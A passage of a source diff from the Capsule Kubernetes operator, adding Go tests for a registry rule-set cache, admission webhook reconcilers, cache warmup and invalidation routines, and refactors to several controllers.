    +
    +	for i := 0; i < workers; i++ {
    +		if errs[i] != nil {
    +			t.Fatalf("worker %d err: %v", i, errs[i])
    +		}
    +		if results[i] == nil {
    +			t.Fatalf("worker %d got nil ruleset", i)
    +		}
    +	}
    +
    +	first := results[0]
    +	for i := 1; i < workers; i++ {
    +		if results[i] != first {
    +			t.Fatalf("expected same cached pointer across goroutines; got %p vs %p", first, results[i])
    +		}
    +	}
    +
    +	seenFalse := false
    +	seenTrue := false
    +	for i := 0; i < workers; i++ {
    +		if flags[i] {
    +			seenTrue = true
    +		} else {
    +			seenFalse = true
    +		}
    +	}
    +
    +	if !seenFalse {
    +		t.Fatalf("expected at least one fromCache=false (builder), got none")
    +	}
    +
    +	if !seenTrue {
    +		t.Fatalf("expected at least one fromCache=true (builder), got none")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_InsertForTest_ThenHasAndLen(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	if got := c.Stats(); got != 0 {
    +		t.Fatalf("expected Len()=0, got %d", got)
    +	}
    +	if c.Has("x") {
    +		t.Fatalf("expected Has(x)=false on empty cache")
    +	}
    +
    +	c.insertForTest("x")
    +
    +	if !c.Has("x") {
    +		t.Fatalf("expected Has(x)=true after insert")
    +	}
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Len()=1 after insert, got %d", got)
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_InsertForTest_DuplicateDoesNotIncreaseLen(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	c.insertForTest("x")
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Len()=1 after first insert, got %d", got)
    +	}
    +
    +	c.insertForTest("x")
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Len() to remain 1 after duplicate insert, got %d", got)
    +	}
    +
    +	if !c.Has("x") {
    +		t.Fatalf("expected Has(x)=true after duplicate insert")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_HasFalseForMissingKey(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	c.insertForTest("a")
    +	if c.Has("b") {
    +		t.Fatalf("expected Has(b)=false when only a exists")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_RemovesOnlyInactive(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +	c.insertForTest("a")
    +	c.insertForTest("b")
    +	c.insertForTest("c")
    +
    +	removed := c.PruneActive(set("b"))
    +
    +	if removed != 2 {
    +		t.Fatalf("expected removed=2, got %d", removed)
    +	}
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Len()=1 after prune, got %d", got)
    +	}
    +
    +	if !c.Has("b") {
    +		t.Fatalf("expected b to remain")
    +	}
    +	if c.Has("a") || c.Has("c") {
    +		t.Fatalf("expected a and c to be removed")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_AllActiveNoChange(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +	c.insertForTest("a")
    +	c.insertForTest("b")
    +
    +	removed := c.PruneActive(set("a", "b"))
    +
    +	if removed != 0 {
    +		t.Fatalf("expected removed=0, got %d", removed)
    +	}
    +	if got := c.Stats(); got != 2 {
    +		t.Fatalf("expected Len()=2, got %d", got)
    +	}
    +	if !c.Has("a") || !c.Has("b") {
    +		t.Fatalf("expected both a and b to remain")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_EmptyActivePrunesAll(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +	c.insertForTest("a")
    +	c.insertForTest("b")
    +
    +	removed := c.PruneActive(set())
    +
    +	if removed != 2 {
    +		t.Fatalf("expected removed=2, got %d", removed)
    +	}
    +	if got := c.Stats(); got != 0 {
    +		t.Fatalf("expected Len()=0 after prune all, got %d", got)
    +	}
    +	if c.Has("a") || c.Has("b") {
    +		t.Fatalf("expected cache to be empty after prune all")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_NilActivePrunesAll(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +	c.insertForTest("a")
    +
    +	removed := c.PruneActive(nil)
    +
    +	if removed != 1 {
    +		t.Fatalf("expected removed=1, got %d", removed)
    +	}
    +	if got := c.Stats(); got != 0 {
    +		t.Fatalf("expected Len()=0 after prune, got %d", got)
    +	}
    +	if c.Has("a") {
    +		t.Fatalf("expected a to be removed")
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_EmptyCacheNoop(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	removed := c.PruneActive(set("a"))
    +
    +	if removed != 0 {
    +		t.Fatalf("expected removed=0 on empty cache, got %d", removed)
    +	}
    +	if got := c.Stats(); got != 0 {
    +		t.Fatalf("expected Len()=0, got %d", got)
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_Idempotent(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +	c.insertForTest("a")
    +	c.insertForTest("b")
    +	c.insertForTest("c")
    +
    +	active := set("a")
    +
    +	removed1 := c.PruneActive(active)
    +	if removed1 != 2 {
    +		t.Fatalf("expected first prune removed=2, got %d", removed1)
    +	}
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Len()=1 after first prune, got %d", got)
    +	}
    +	if !c.Has("a") {
    +		t.Fatalf("expected a to remain after first prune")
    +	}
    +
    +	removed2 := c.PruneActive(active)
    +	if removed2 != 0 {
    +		t.Fatalf("expected second prune removed=0, got %d", removed2)
    +	}
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Len()=1 after second prune, got %d", got)
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_PruneActive_RemovesCorrectCountWithLargerSet(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	// Insert 10 IDs: id0..id9
    +	for i := 0; i < 10; i++ {
    +		c.insertForTest("id" + itoa(i))
    +	}
    +
    +	// Keep 3: id0,id4,id9
    +	removed := c.PruneActive(set("id0", "id4", "id9"))
    +
    +	if removed != 7 {
    +		t.Fatalf("expected removed=7, got %d", removed)
    +	}
    +	if got := c.Stats(); got != 3 {
    +		t.Fatalf("expected Len()=3, got %d", got)
    +	}
    +	if !c.Has("id0") || !c.Has("id4") || !c.Has("id9") {
    +		t.Fatalf("expected id0,id4,id9 to remain")
    +	}
    +}
    +
    +// tiny int->string without fmt (faster, no allocations beyond result)
    +func itoa(i int) string {
    +	// Enough for small test numbers
    +	if i == 0 {
    +		return "0"
    +	}
    +	var buf [20]byte
    +	n := len(buf)
    +	for i > 0 {
    +		n--
    +		buf[n] = byte('0' + (i % 10))
    +		i /= 10
    +	}
    +	return string(buf[n:])
    +}
    
  • internal/controllers/admission/manager.go+41 0 added
    @@ -0,0 +1,41 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package admission
    +
    +import (
    +	"fmt"
    +
    +	"github.com/go-logr/logr"
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/manager"
    +
    +	"github.com/projectcapsule/capsule/internal/controllers/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +)
    +
    +func Add(
    +	log logr.Logger,
    +	mgr manager.Manager,
    +	recorder events.EventRecorder,
    +	cfg utils.ControllerOptions,
    +	capsuleConfig configuration.Configuration,
    +) (err error) {
    +	if err = (&validatingReconciler{
    +		client:        mgr.GetClient(),
    +		log:           log.WithName("admission"),
    +		configuration: capsuleConfig,
    +	}).SetupWithManager(mgr, cfg); err != nil {
    +		return fmt.Errorf("unable to create validating admission controller: %w", err)
    +	}
    +
    +	if err = (&mutatingReconciler{
    +		client:        mgr.GetClient(),
    +		log:           log.WithName("admission"),
    +		configuration: capsuleConfig,
    +	}).SetupWithManager(mgr, cfg); err != nil {
    +		return fmt.Errorf("unable to create mutating admission controller: %w", err)
    +	}
    +
    +	return nil
    +}
    
  • internal/controllers/admission/mutating.go+166 0 added
    @@ -0,0 +1,166 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +//nolint:dupl
    +package admission
    +
    +import (
    +	"context"
    +	"maps"
    +	"sort"
    +
    +	"github.com/go-logr/logr"
    +	admissionv1 "k8s.io/api/admissionregistration/v1"
    +	apierrors "k8s.io/apimachinery/pkg/api/errors"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	ctrl "sigs.k8s.io/controller-runtime"
    +	"sigs.k8s.io/controller-runtime/pkg/builder"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/controller"
    +	"sigs.k8s.io/controller-runtime/pkg/predicate"
    +	"sigs.k8s.io/controller-runtime/pkg/reconcile"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/internal/controllers/utils"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	clt "github.com/projectcapsule/capsule/pkg/runtime/client"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +type mutatingReconciler struct {
    +	client client.Client
    +
    +	configuration configuration.Configuration
    +	log           logr.Logger
    +}
    +
    +func (r *mutatingReconciler) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.ControllerOptions) error {
    +	return ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/admission/mutating").
    +		For(
    +			&capsulev1beta2.CapsuleConfiguration{},
    +			builder.WithPredicates(
    +				predicate.GenerationChangedPredicate{},
    +				predicates.NamesMatchingPredicate{Names: []string{ctrlConfig.ConfigurationName}},
    +			),
    +		).
    +		WithOptions(controller.Options{MaxConcurrentReconciles: ctrlConfig.MaxConcurrentReconciles}).
    +		Complete(r)
    +}
    +
    +func (r *mutatingReconciler) Reconcile(ctx context.Context, request reconcile.Request) (res reconcile.Result, err error) {
    +	err = r.reconcileConfiguration(ctx, r.configuration.Admission().Mutating)
    +
    +	return res, err
    +}
    +
    +func (r *mutatingReconciler) reconcileConfiguration(
    +	ctx context.Context,
    +	cfg capsulev1beta2.DynamicAdmissionConfig,
    +) error {
    +	desiredName := string(cfg.Name)
    +
    +	hooks, err := r.webhooks(ctx, cfg)
    +	if err != nil {
    +		return err
    +	}
    +
    +	if len(hooks) == 0 {
    +		managed, err := r.listManagedWebhookConfigs(ctx)
    +		if err != nil {
    +			return err
    +		}
    +
    +		for i := range managed {
    +			if err := r.deleteWebhookConfig(ctx, managed[i].Name); err != nil {
    +				return err
    +			}
    +		}
    +
    +		return nil
    +	}
    +
    +	obj := &admissionv1.MutatingWebhookConfiguration{
    +		ObjectMeta: metav1.ObjectMeta{Name: string(cfg.Name)},
    +	}
    +
    +	sort.Slice(hooks, func(i, j int) bool { return hooks[i].Name < hooks[j].Name })
    +
    +	labels := obj.GetLabels()
    +	if labels == nil {
    +		labels = make(map[string]string)
    +	}
    +
    +	maps.Copy(labels, cfg.Labels)
    +
    +	labels[meta.CreatedByCapsuleLabel] = meta.ControllerValue
    +
    +	obj.SetLabels(labels)
    +
    +	annotations := obj.GetAnnotations()
    +	if annotations == nil {
    +		annotations = make(map[string]string)
    +	}
    +
    +	maps.Copy(annotations, cfg.Annotations)
    +
    +	obj.SetAnnotations(annotations)
    +
    +	if err := clt.CreateOrPatch(ctx, r.client, obj, meta.FieldManagerCapsuleController, true); err != nil {
    +		return err
    +	}
    +
    +	// Garbage-collect any old managed validating webhook configs with different name
    +	managed, err := r.listManagedWebhookConfigs(ctx)
    +	if err != nil {
    +		return err
    +	}
    +
    +	for i := range managed {
    +		if managed[i].Name == desiredName {
    +			continue
    +		}
    +
    +		if err := r.deleteWebhookConfig(ctx, managed[i].Name); err != nil {
    +			return err
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func (r *mutatingReconciler) listManagedWebhookConfigs(ctx context.Context) ([]admissionv1.MutatingWebhookConfiguration, error) {
    +	list := &admissionv1.MutatingWebhookConfigurationList{}
    +	if err := r.client.List(ctx, list, client.MatchingLabels{
    +		meta.CreatedByCapsuleLabel: meta.ControllerValue,
    +	}); err != nil {
    +		return nil, err
    +	}
    +
    +	return list.Items, nil
    +}
    +
    +func (r *mutatingReconciler) deleteWebhookConfig(ctx context.Context, name string) error {
    +	if name == "" {
    +		return nil
    +	}
    +
    +	obj := &admissionv1.MutatingWebhookConfiguration{
    +		ObjectMeta: metav1.ObjectMeta{Name: name},
    +	}
    +
    +	err := r.client.Delete(ctx, obj)
    +	if apierrors.IsNotFound(err) {
    +		return nil
    +	}
    +
    +	return err
    +}
    +
    +func (r *mutatingReconciler) webhooks(
    +	ctx context.Context,
    +	cfg capsulev1beta2.DynamicAdmissionConfig,
    +) (hooks []admissionv1.MutatingWebhook, err error) {
    +	return
    +}
    
  • internal/controllers/admission/validating.go+157 0 added
    @@ -0,0 +1,157 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +//nolint:dupl
    +package admission
    +
    +import (
    +	"context"
    +	"maps"
    +	"sort"
    +
    +	"github.com/go-logr/logr"
    +	admissionv1 "k8s.io/api/admissionregistration/v1"
    +	apierrors "k8s.io/apimachinery/pkg/api/errors"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	ctrl "sigs.k8s.io/controller-runtime"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/controller"
    +	"sigs.k8s.io/controller-runtime/pkg/reconcile"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/internal/controllers/utils"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	clt "github.com/projectcapsule/capsule/pkg/runtime/client"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +)
    +
    +type validatingReconciler struct {
    +	client client.Client
    +
    +	configuration configuration.Configuration
    +	log           logr.Logger
    +}
    +
    +func (r *validatingReconciler) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.ControllerOptions) error {
    +	return ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/admission/validating").
    +		For(&capsulev1beta2.CapsuleConfiguration{}, utils.NamesMatchingPredicate(ctrlConfig.ConfigurationName)).
    +		WithOptions(controller.Options{MaxConcurrentReconciles: ctrlConfig.MaxConcurrentReconciles}).
    +		Complete(r)
    +}
    +
    +func (r *validatingReconciler) Reconcile(ctx context.Context, request reconcile.Request) (res reconcile.Result, err error) {
    +	err = r.reconcileValidatingConfiguration(ctx, r.configuration.Admission().Validating)
    +
    +	return res, err
    +}
    +
    +func (r *validatingReconciler) reconcileValidatingConfiguration(
    +	ctx context.Context,
    +	cfg capsulev1beta2.DynamicAdmissionConfig,
    +) error {
    +	desiredName := string(cfg.Name)
    +
    +	hooks, err := r.validatingWebhooks(ctx, cfg)
    +	if err != nil {
    +		return err
    +	}
    +
    +	if len(hooks) == 0 {
    +		managed, err := r.listManagedValidatingWebhookConfigs(ctx)
    +		if err != nil {
    +			return err
    +		}
    +
    +		for i := range managed {
    +			if err := r.deleteValidatingWebhookConfig(ctx, managed[i].Name); err != nil {
    +				return err
    +			}
    +		}
    +
    +		return nil
    +	}
    +
    +	obj := &admissionv1.ValidatingWebhookConfiguration{
    +		ObjectMeta: metav1.ObjectMeta{Name: string(cfg.Name)},
    +	}
    +
    +	sort.Slice(hooks, func(i, j int) bool { return hooks[i].Name < hooks[j].Name })
    +
    +	labels := obj.GetLabels()
    +	if labels == nil {
    +		labels = make(map[string]string)
    +	}
    +
    +	maps.Copy(labels, cfg.Labels)
    +
    +	labels[meta.CreatedByCapsuleLabel] = meta.ControllerValue
    +
    +	obj.SetLabels(labels)
    +
    +	annotations := obj.GetAnnotations()
    +	if annotations == nil {
    +		annotations = make(map[string]string)
    +	}
    +
    +	maps.Copy(annotations, cfg.Annotations)
    +
    +	obj.SetAnnotations(annotations)
    +
    +	if err := clt.CreateOrPatch(ctx, r.client, obj, meta.FieldManagerCapsuleController, true); err != nil {
    +		return err
    +	}
    +
    +	// Garbage-collect any old managed validating webhook configs with different name
    +	managed, err := r.listManagedValidatingWebhookConfigs(ctx)
    +	if err != nil {
    +		return err
    +	}
    +
    +	for i := range managed {
    +		if managed[i].Name == desiredName {
    +			continue
    +		}
    +
    +		if err := r.deleteValidatingWebhookConfig(ctx, managed[i].Name); err != nil {
    +			return err
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func (r *validatingReconciler) listManagedValidatingWebhookConfigs(ctx context.Context) ([]admissionv1.ValidatingWebhookConfiguration, error) {
    +	list := &admissionv1.ValidatingWebhookConfigurationList{}
    +	if err := r.client.List(ctx, list, client.MatchingLabels{
    +		meta.CreatedByCapsuleLabel: meta.ControllerValue,
    +	}); err != nil {
    +		return nil, err
    +	}
    +
    +	return list.Items, nil
    +}
    +
    +func (r *validatingReconciler) deleteValidatingWebhookConfig(ctx context.Context, name string) error {
    +	if name == "" {
    +		return nil
    +	}
    +
    +	obj := &admissionv1.ValidatingWebhookConfiguration{
    +		ObjectMeta: metav1.ObjectMeta{Name: name},
    +	}
    +
    +	err := r.client.Delete(ctx, obj)
    +	if apierrors.IsNotFound(err) {
    +		return nil
    +	}
    +
    +	return err
    +}
    +
    +func (r *validatingReconciler) validatingWebhooks(
    +	ctx context.Context,
    +	cfg capsulev1beta2.DynamicAdmissionConfig,
    +) (hooks []admissionv1.ValidatingWebhook, err error) {
    +	return
    +}
    
  • internal/controllers/cfg/cache_registries.go+72 0 added
    @@ -0,0 +1,72 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package config
    +
    +import (
    +	"context"
    +
    +	"github.com/go-logr/logr"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +)
    +
    +func (r *Manager) getItemsForStatusRegistryCache(ctx context.Context) ([]capsulev1beta2.RuleStatus, error) {
    +	rsList := &capsulev1beta2.RuleStatusList{}
    +	if err := r.List(ctx, rsList,
    +		client.MatchingLabels{
    +			meta.NewManagedByCapsuleLabel: meta.ControllerValue,
    +			meta.CapsuleNameLabel:         meta.NameForManagedRuleStatus(),
    +		},
    +	); err != nil {
    +		return nil, err
    +	}
    +
    +	return rsList.Items, nil
    +}
    +
    +func (r *Manager) warmupRuleStatusRegistryCache(ctx context.Context, log logr.Logger, items []capsulev1beta2.RuleStatus) error {
    +	for _, item := range items {
    +		regs := item.Status.Rule.Enforce.Registries
    +		if len(regs) == 0 {
    +			continue
    +		}
    +
    +		if _, _, err := r.RegistryCache.GetOrBuild(regs); err != nil {
    +			return err
    +		}
    +	}
    +
    +	log.V(5).Info("warmed up cache based on existing rules", "rules", len(items), "cache_rules", r.RegistryCache.Stats())
    +
    +	return nil
    +}
    +
    +func (r *Manager) invalidateRuleStatusRegistryCache(ctx context.Context, log logr.Logger) error {
    +	items, err := r.getItemsForStatusRegistryCache(ctx)
    +	if err != nil {
    +		return err
    +	}
    +
    +	log.V(5).Info("cached before invalidation", "cache_rules", r.RegistryCache.Stats())
    +
    +	active := make(map[string]struct{}, len(items))
    +
    +	for _, item := range items {
    +		regs := item.Status.Rule.Enforce.Registries
    +		if len(regs) == 0 {
    +			continue
    +		}
    +
    +		id := r.RegistryCache.HashRules(regs)
    +		active[id] = struct{}{}
    +	}
    +
    +	_ = r.RegistryCache.PruneActive(active)
    +
    +	log.V(5).Info("cached after invalidation", "rules", len(items), "cache_rules", r.RegistryCache.Stats())
    +
    +	return nil
    +}
    
  • internal/controllers/cfg/caches.go+51 0 added
    @@ -0,0 +1,51 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package config
    +
    +import (
    +	"context"
    +
    +	"github.com/go-logr/logr"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/client-go/util/retry"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +)
    +
    +// invalidateCaches invokes for all caches their invalidation functions.
    +func (r *Manager) invalidateCaches(ctx context.Context, log logr.Logger) error {
    +	err := r.invalidateRuleStatusRegistryCache(ctx, log)
    +	if err != nil {
    +		return err
    +	}
    +
    +	now := metav1.Now()
    +
    +	return retry.RetryOnConflict(retry.DefaultRetry, func() error {
    +		cfg := &capsulev1beta2.CapsuleConfiguration{}
    +		if err := r.Get(ctx, client.ObjectKey{Name: r.configName}, cfg); err != nil {
    +			return err
    +		}
    +
    +		cfg.Status.LastCacheInvalidation = now
    +
    +		return r.Status().Update(ctx, cfg)
    +	})
    +}
    +
    +// populateCaches warms up all custom caches.
    +func (r *Manager) populateCaches(ctx context.Context, log logr.Logger) error {
    +	items, err := r.getItemsForStatusRegistryCache(ctx)
    +	if err != nil {
    +		return err
    +	}
    +
    +	err = r.warmupRuleStatusRegistryCache(ctx, log, items)
    +	if err != nil {
    +		return err
    +	}
    +
    +	return nil
    +}
    
  • internal/controllers/cfg/manager.go+59 14 modified
    @@ -6,12 +6,14 @@ package config
     import (
     	"context"
     	"fmt"
    +	"time"
     
     	"github.com/go-logr/logr"
     	"github.com/pkg/errors"
     	apierrors "k8s.io/apimachinery/pkg/api/errors"
     	"k8s.io/apimachinery/pkg/types"
     	"k8s.io/client-go/util/retry"
    +	"k8s.io/utils/ptr"
     	ctrl "sigs.k8s.io/controller-runtime"
     	"sigs.k8s.io/controller-runtime/pkg/builder"
     	"sigs.k8s.io/controller-runtime/pkg/client"
    @@ -21,20 +23,34 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/reconcile"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/internal/cache"
     	"github.com/projectcapsule/capsule/internal/controllers/utils"
     	"github.com/projectcapsule/capsule/pkg/api"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
     )
     
     type Manager struct {
     	client.Client
     
    -	Log logr.Logger
    +	configName string
    +
    +	RegistryCache *cache.RegistryRuleSetCache
    +	Log           logr.Logger
     }
     
    -func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.ControllerOptions) error {
    -	return ctrl.NewControllerManagedBy(mgr).
    -		For(&capsulev1beta2.CapsuleConfiguration{}, utils.NamesMatchingPredicate(ctrlConfig.ConfigurationName)).
    +func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.ControllerOptions) (err error) {
    +	r.configName = ctrlConfig.ConfigurationName
    +
    +	err = ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/configuration").
    +		For(
    +			&capsulev1beta2.CapsuleConfiguration{},
    +			builder.WithPredicates(
    +				predicate.GenerationChangedPredicate{},
    +				predicates.NamesMatchingPredicate{Names: []string{ctrlConfig.ConfigurationName}},
    +			),
    +		).
     		Watches(
     			&capsulev1beta2.TenantOwner{},
     			handler.EnqueueRequestsFromMapFunc(func(ctx context.Context, obj client.Object) []reconcile.Request {
    @@ -82,22 +98,41 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     			}),
     		).
     		Complete(r)
    +	if err != nil {
    +		return err
    +	}
    +
    +	// register Start(ctx) as a manager runnable.
    +	return mgr.Add(r)
    +}
    +
    +// Start is the Runnable function triggered upon Manager start-up to perform cache population.
    +func (r *Manager) Start(ctx context.Context) error {
    +	if err := r.populateCaches(ctx, r.Log); err != nil {
    +		r.Log.Error(err, "cache population failed")
    +
    +		return nil
    +	}
    +
    +	r.Log.Info("caches populated")
    +
    +	return nil
     }
     
     func (r *Manager) Reconcile(ctx context.Context, request reconcile.Request) (res reconcile.Result, err error) {
    -	r.Log.V(5).Info("CapsuleConfiguration reconciliation started", "request.name", request.Name)
    +	log := r.Log.WithValues("configuration", request.Name)
     
     	cfg := configuration.NewCapsuleConfiguration(ctx, r.Client, request.Name)
     
     	instance := &capsulev1beta2.CapsuleConfiguration{}
     	if err = r.Get(ctx, request.NamespacedName, instance); err != nil {
     		if apierrors.IsNotFound(err) {
    -			r.Log.V(3).Info("Request object not found, could have been deleted after reconcile request")
    +			log.V(3).Info("requested object not found, could have been deleted after reconcile request")
     
     			return reconcile.Result{}, nil
     		}
     
    -		r.Log.Error(err, "Error reading the object")
    +		log.Error(err, "error reading the object")
     
     		return res, err
     	}
    @@ -110,20 +145,30 @@ func (r *Manager) Reconcile(ctx context.Context, request reconcile.Request) (res
     		}
     	}()
     
    -	// Validating the Capsule Configuration options
    +	// Validating the Capsule Configuration options.
     	if _, err = cfg.ProtectedNamespaceRegexp(); err != nil {
    -		panic(errors.Wrap(err, "Invalid configuration for protected Namespace regex"))
    +		panic(errors.Wrap(err, "invalid configuration for protected Namespace regex"))
     	}
     
    -	r.Log.V(5).Info("Validated Regex")
    -
     	if err := r.gatherCapsuleUsers(ctx, instance, cfg); err != nil {
     		return reconcile.Result{}, err
     	}
     
    -	r.Log.V(5).Info("Gathered users", "users", len(instance.Status.Users))
    +	log.V(5).Info("gathering capsule users", "users", len(instance.Status.Users))
    +
    +	interval := cfg.CacheInvalidation()
    +	if cache.ShouldInvalidate(ptr.To(instance.Status.LastCacheInvalidation), time.Now(), interval.Duration) {
    +		log.V(3).Info("invalidating caches")
    +
    +		if err := r.invalidateCaches(ctx, log); err != nil {
    +			return res, err
    +		}
    +	}
     
    -	return res, err
    +	return reconcile.Result{
    +		Requeue:      true,
    +		RequeueAfter: interval.Duration,
    +	}, err
     }
     
     func (r *Manager) gatherCapsuleUsers(
    
  • internal/controllers/pod/metadata.go+6 4 modified
    @@ -21,6 +21,7 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/reconcile"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
     	"github.com/projectcapsule/capsule/pkg/utils"
     )
     
    @@ -30,6 +31,7 @@ type MetadataReconciler struct {
     
     func (m *MetadataReconciler) SetupWithManager(ctx context.Context, mgr ctrl.Manager) error {
     	return ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/pod").
     		For(&corev1.Pod{}, m.forOptionPerInstanceName(ctx)).
     		Complete(m)
     }
    @@ -41,9 +43,9 @@ func (m *MetadataReconciler) Reconcile(ctx context.Context, request ctrl.Request
     
     	tenant, err := m.getTenant(ctx, request.NamespacedName, m.Client)
     	if err != nil {
    -		noTenantObjError := &NonTenantObjectError{}
    +		noTenantObjError := &caperrors.NonTenantObjectError{}
     
    -		noPodMetaError := &NoPodMetadataError{}
    +		noPodMetaError := &caperrors.NoPodMetadataError{}
     		if errors.As(err, &noTenantObjError) || errors.As(err, &noPodMetaError) {
     			return reconcile.Result{}, nil
     		}
    @@ -82,15 +84,15 @@ func (m *MetadataReconciler) getTenant(ctx context.Context, namespacedName types
     
     	capsuleLabel, _ := utils.GetTypeLabel(&capsulev1beta2.Tenant{})
     	if _, ok := ns.GetLabels()[capsuleLabel]; !ok {
    -		return nil, NewNonTenantObject(namespacedName.Name)
    +		return nil, caperrors.NewNonTenantObject(namespacedName.Name)
     	}
     
     	if err := client.Get(ctx, types.NamespacedName{Name: ns.Labels[capsuleLabel]}, tenant); err != nil {
     		return nil, err
     	}
     
     	if tenant.Spec.PodOptions == nil || tenant.Spec.PodOptions.AdditionalMetadata == nil {
    -		return nil, NewNoPodMetadata(namespacedName.Name)
    +		return nil, caperrors.NewNoPodMetadata(namespacedName.Name)
     	}
     
     	return tenant, nil
    
  • internal/controllers/pv/controller.go+2 1 modified
    @@ -19,8 +19,8 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/internal/controllers/utils"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     	capsuleutils "github.com/projectcapsule/capsule/pkg/utils"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
     )
     
     type Controller struct {
    @@ -38,6 +38,7 @@ func (c *Controller) SetupWithManager(mgr ctrl.Manager, cfg utils.ControllerOpti
     	c.label = label
     
     	return ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/persistentvolumes").
     		For(&corev1.PersistentVolume{}, builder.WithPredicates(predicate.NewPredicateFuncs(func(object client.Object) bool {
     			pv, ok := object.(*corev1.PersistentVolume)
     			if !ok {
    
  • internal/controllers/rbac/manager.go+170 43 modified
    @@ -6,7 +6,6 @@ package rbac
     import (
     	"context"
     	"errors"
    -	"fmt"
     
     	"github.com/go-logr/logr"
     	corev1 "k8s.io/api/core/v1"
    @@ -27,7 +26,12 @@ import (
     	"github.com/projectcapsule/capsule/internal/controllers/utils"
     	"github.com/projectcapsule/capsule/pkg/api"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
    +)
    +
    +const (
    +	controllerManager = "rbac-controller"
     )
     
     type Manager struct {
    @@ -38,16 +42,20 @@ type Manager struct {
     
     //nolint:revive
     func (r *Manager) SetupWithManager(ctx context.Context, mgr ctrl.Manager, ctrlConfig utils.ControllerOptions) (err error) {
    -	namesPredicate := utils.NamesMatchingPredicate(api.ProvisionerRoleName, api.DeleterRoleName)
    +	namesPredicate := predicates.LabelsMatching(map[string]string{
